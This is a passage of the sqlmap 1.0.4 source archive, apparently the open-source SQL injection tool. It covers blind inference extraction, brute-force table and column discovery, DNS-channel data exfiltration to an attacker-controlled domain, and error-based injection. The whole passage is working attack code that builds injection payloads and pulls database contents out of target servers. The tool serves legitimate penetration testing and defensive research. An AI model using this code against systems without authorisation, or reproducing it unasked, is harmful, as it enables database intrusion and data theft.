KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return length sqlmap-1.0.4/lib/techniques/brute/000077500000000000000000000000001270044205500170475ustar00rootroot00000000000000sqlmap-1.0.4/lib/techniques/brute/__init__.py000066400000000000000000000002261270044205500211600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/techniques/brute/use.py000066400000000000000000000246701270044205500202260ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import time from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems from lib.core.common import Backend from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject def _addPageTextWords(): wordsList = [] infoMsg = "adding words used on web page to the check list" logger.info(infoMsg) pageWords = getPageWordSet(kb.originalPage) for word in pageWords: word = word.lower() if len(word) > 2 and not word[0].isdigit() and word not in wordsList: wordsList.append(word) return wordsList def tableExists(tableFile, regex=None): if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " test = readInput(message, default="N") kb.tableExistsChoice = test[0] in ("y", "Y") if not kb.tableExistsChoice: return None result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" raise SqlmapDataException(errMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.value = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no table(s) found" logger.warn(warnMsg) else: for item in threadData.shared.value: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.value): if _ not in kb.brute.tables: kb.brute.tables.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables def columnExists(columnFile, regex=None): if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " test = readInput(message, default="N") kb.columnExistsChoice = test[0] in ("y", "Y") if not kb.columnExistsChoice: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" raise SqlmapDataException(errMsg) infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns sqlmap-1.0.4/lib/techniques/dns/000077500000000000000000000000001270044205500165125ustar00rootroot00000000000000sqlmap-1.0.4/lib/techniques/dns/__init__.py000066400000000000000000000002261270044205500206230ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/techniques/dns/test.py000066400000000000000000000021471270044205500200470ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsName = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg) sqlmap-1.0.4/lib/techniques/dns/use.py000066400000000000000000000115711270044205500176650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.settings import DNS_BOUNDARIES_ALPHABET from lib.core.settings import MAX_DNS_LABEL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult("%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsName: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal sqlmap-1.0.4/lib/techniques/error/000077500000000000000000000000001270044205500170575ustar00rootroot00000000000000sqlmap-1.0.4/lib/techniques/error/__init__.py000066400000000000000000000002261270044205500211700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/techniques/error/use.py000066400000000000000000000457251270044205500202420ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import extractRegexResult from lib.core.common import getPartRun from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isListLike from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import MAX_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current else current - 1 else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = r"%s(?P[^<\n]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = r"(?P[^<>\n]*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = "(?P[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("
    ", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False): values = [] origExpr = None threadData = getCurrentThreadData() for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) if not kb.threadContinue: return None if not suppressOutput: if kb.fileReadMode and output and output.strip(): print elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output))) if isinstance(num, int): expression = origExpr values.append(output) return values def _errorReplaceChars(value): """ Restores safely replaced characters """ retVal = value if value: retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#") return retVal def _formatPartialContent(value): """ Prepares (possibly hex-encoded) partial content for safe console output """ if value and isinstance(value, basestring): try: value = hexdecode(value) except: pass finally: value = safecharencode(value) return value def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(kb.technique) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " _ = readInput(message, default="N") if _ and _[0] in ("y", "Y"): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % (field, 